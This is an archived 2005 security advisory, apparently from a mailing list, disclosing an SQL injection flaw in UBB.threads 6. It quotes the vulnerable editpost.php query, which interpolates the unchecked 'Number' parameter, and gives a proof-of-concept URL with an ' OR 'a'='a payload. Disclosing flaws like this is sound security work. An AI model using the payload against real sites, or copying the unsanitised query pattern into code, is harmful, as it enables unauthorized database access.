Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY LINKS NEWS MAN DOCUMENTATION

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>

Date: 11 Mar 2005 16:58:58 -0000
From: <kre0n@mail.ru.>
To: [email protected]
Subject: UBB.threads 6 SQL Injection
X-Virus-Scanned: antivirus-gw at tyumen.ru




ADZ Security Team

Info

Program: UBB.threads
Version: 6
Module: editpost.php
Bug type: SQL Injection
Vendor site: http://www.ubbcentral.com/ubbthreads/

Bug discription

at editpost.php we can see this code:
// START
$Cat = get_input("Cat","get");
$Board = get_input("Board","get");
$Number = get_input("Number","get");
$page = get_input("page","get");
$what = get_input("what","get");
$vc = get_input("vc","get");
// ...........
$query = "
        SELECT
B_Posterid,B_Subject,B_Body,B_Approved,B_Kept,B_Status,B_Main,B_Sticky,
B_Posted,B_Icon,B_Poll,B_Convert,B_Topic,B_CalDay,B_CalMonth,B_CalYear,
B_AddSig,B_Board	FROM  {$config['tbprefix']}Posts
        WHERE B_Number = '$Number'
";
//..........
// END
As we see, $Number not checked as int value, so... :)

Example/PoC:

http://&#091;host]/[path]/editpost.php?Cat=X&Board=X&Number=1'%20OR%20'a'='a

Contact

ADZ Security Team // http://adz.void.ru/
kreon // [email protected], [email protected]

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>

Партнёры:

Хостинг: